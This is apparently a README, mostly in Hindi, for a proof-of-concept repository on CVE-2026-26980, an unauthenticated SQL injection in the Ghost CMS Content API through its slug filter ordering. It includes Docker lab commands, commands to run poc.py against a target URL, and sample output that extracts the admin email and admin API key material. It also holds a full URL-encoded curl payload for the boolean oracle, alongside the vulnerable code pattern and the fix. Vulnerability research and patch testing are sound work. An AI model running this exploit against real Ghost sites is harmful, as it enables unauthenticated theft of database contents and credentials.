
Ghost Content API SQL Injection
★ CVE-2026-26980 TryGhost Ghost CMS Content API SQL Injection PoC ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
CVE-2026-26980 TryGhost Ghost CMS Content API में एक अप्रमाणित SQL Injection भेद्यता है। कमजोर पथ सार्वजनिक Content API फ़िल्टर हैंडलिंग लॉजिक के माध्यम से पहुँचा जा सकता है जब slug:[...] ऑर्डरिंग प्रोसेस की जाती है।
यह PoC एक नियंत्रित Ghost 6.19.0 लैब बनाता है और दर्शाता है कि कैसे एक सार्वजनिक Content API अनुरोध को बूलियन-आधारित डेटाबेस रीड प्रिमिटिव में बदला जा सकता है।
| उत्पाद | प्रभावित संस्करण | निर्धारित संस्करण | भेद्यता प्रकार |
|---|---|---|---|
| TryGhost Ghost CMS | >= 3.24.0, < 6.19.1 | 6.19.1 | SQL Injection |
लैब वातावरण Ghost 6.19.0 का उपयोग करता है।
Docker का उपयोग करके कमजोर Ghost CMS वातावरण बनाएं और चलाएं:
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980
उदाहरण:
http://127.0.0.1:9102/
लैब पोर्ट 9102 पर एक वास्तविक कमजोर Ghost 6.19.0 इंस्टेंस चलाता है।
लैब Content API कुंजी है:
EQSTLab299
CVE-2026-26980 : TryGhost Ghost CMS Content API SQL Injection भेद्यता
विवरण: 6.19.1 से पहले TryGhost Ghost CMS में एक SQL इंजेक्शन भेद्यता एक अप्रमाणित हमलावर को एक सार्वजनिक Content API कुंजी तक पहुँच के साथ Content API फ़िल्टर पैरामीटर के माध्यम से मनमाना डेटाबेस मान पढ़ने की अनुमति देती है। यह समस्या slug:[...] फ़िल्टर ऑर्डरिंग पथ में होती है, जहाँ उपयोगकर्ता-नियंत्रित slug मान उचित पैरामीटर बाइंडिंग के बिना कच्चे SQL में डाले जाते हैं।
Ghost Content API कुंजियाँ आमतौर पर डिज़ाइन द्वारा थीम, खोज, पोर्टल, या फ्रंटएंड JavaScript के माध्यम से ब्राउज़रों के लिए उजागर होती हैं। इसका मतलब है कि Ghost Admin प्रमाणीकरण के बिना कमजोर पथ तक पहुँचा जा सकता है।
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980
python3 poc.py --url [लक्ष्य]
वैकल्पिक कस्टम Content API कुंजी:
python3 poc.py --url [लक्ष्य] --key [Content API कुंजी]
python3 poc.py --url [लक्ष्य]
python3 poc.py --url [लक्ष्य] --key EQSTLab299
[लक्ष्य] उदाहरण: http://127.0.0.1:9102
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target: [लक्ष्य]
API Key: [Content API कुंजी]
Endpoint: Content API (public, no auth)
[*] Calibrating oracle... OK
[*] Phase 1: Recon (fast checks)
length(users.email) = 17
length(users.password) = 60
count(settings) (3 chars): 110
count(users) (1 chars): 1
count(api_keys) (1 chars): 9
[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>
[*] Phase 3: DB snapshot
Result: DB read primitive confirmed
सार्वजनिक PoC लैब-सुरक्षित डेटाबेस मेटाडेटा और Ghost API कुंजी सामग्री निकालकर डेटाबेस रीड प्रभाव प्रदर्शित करता है। यह चैलेंज फ्लैग प्रिंट नहीं करता है।
GET /ghost/api/content/tags/?key=[Content API कुंजी]&filter=slug:[...]
कमजोर लॉजिक Ghost के Content API इनपुट सीरियलाइज़ेशन पथ में slug:[...] फ़िल्टर के लिए मौजूद है। Ghost लिस्ट-शैली slug फ़िल्टर का समर्थन करता है और ORDER BY CASE एक्सप्रेशन उत्पन्न करके अनुरोधित slug क्रम को संरक्षित करता है।
कमजोर संस्करणों में, उपयोगकर्ता-नियंत्रित slug मान SQL खंड में डाले जाते हैं। एक सरलीकृत कमजोर पैटर्न है:
for (const [index, slug] of slugs.entries()) {
order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}
क्योंकि slug हमलावर-नियंत्रित है और इसे पैरामीटर बाइंडिंग के बिना SQL स्ट्रिंग में डाला जाता है, एक क्राफ्टेड Content API फ़िल्टर इच्छित तुलना से बाहर निकल सकता है और अतिरिक्त SQL लॉजिक इंजेक्ट कर सकता है।
लैब PoC दो सार्वजनिक टैग, bacon और chorizo, का उपयोग एक अवलोकनीय बूलियन ओरेकल के रूप में करता है।
bacon पहले सॉर्ट किया जाता है।chorizo पहले सॉर्ट किया जाता है।इस परीक्षण को विभिन्न SQL कंडीशनों के साथ दोहराकर, PoC एक समय में एक वर्ण डेटाबेस मानों का अनुमान लगा सकता है।
बूलियन ओरेकल जाँच curl के साथ:
curl -s "[लक्ष्य]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"
मूल कारण उपयोगकर्ता-नियंत्रित slug मानों से SQL ORDER BY CASE खंड का असुरक्षित निर्माण है। कमजोर कोड Content API प्रतिक्रिया क्रम को संरक्षित करने का प्रयास करता है, लेकिन पार्स किए गए NQL फ़िल्टर मानों को विश्वसनीय SQL टेक्स्ट के रूप में मानता है।
एक मजबूत फिक्स को:
Ghost ने इस समस्या को 6.19.1 में रॉ इंटरपोलेशन को पैरामीटराइज्ड क्वेरी बाइंडिंग्स से बदलकर ठीक किया है।
यह एक CWE-89: Improper Neutralization of Special Elements used in an SQL Command समस्या है।
क्योंकि Ghost Content API जानबूझकर सार्वजनिक है, यह भेद्यता एक अप्रमाणित हमलावर को एक सार्वजनिक सामग्री एंडपॉइंट के माध्यम से डेटाबेस रीड प्रिमिटिव बनाने की अनुमति दे सकती है। डेटाबेस सामग्री और अनुमतियों के आधार पर, एक हमलावर निम्नलिखित कर सकता है:
+-------------------------------------------+
| रिमोट हमलावर |
+-------------------------------------------+
|
| GET /ghost/api/content/tags/
| filter = slug:[<SQLi पेलोड>,chorizo,bacon]
v
+-------------------------------------------+
| Ghost सार्वजनिक Content API |
+-------------------------------------------+
|
| असुरक्षित slug क्रम SQL निर्माण
v
+-------------------------------------------+
| ORDER BY CASE SQL Injection |
+-------------------------------------------+
|
| टैग ऑर्डरिंग में बूलियन अंतर
v
+-------------------------------------------+
| अप्रमाणित डेटाबेस रीड |
+-------------------------------------------+
यह लैब एक न्यूनतम मॉक सर्वर के बजाय एक वास्तविक कमजोर Ghost 6.19.0 इंस्टेंस चलाता है।
लैब में शामिल हैं:
EQSTLab299bacon, chorizoसार्वजनिक poc.py प्रदर्शन वीडियो और सार्वजनिक राइटअप के लिए डिज़ाइन किया गया है। यह चैलेंज फ्लैग प्रिंट किए बिना SQL इंजेक्शन प्रभाव दिखाता है।
docker stop cve-2026-26980
यह रिपॉजिटरी CVE-2026-26980 के लिए SQL Injection शोषण होने का इरादा नहीं है। इस परियोजना का उद्देश्य लोगों को इस भेद्यता के बारे में सीखने में मदद करना है, और संभवतः अपने स्वयं के अनुप्रयोगों का परीक्षण करना है।
https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97
https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91
https://github.com/TryGhost/Ghost/releases/tag/v6.19.1
https://nvd.nist.gov/vuln/detail/CVE-2026-26980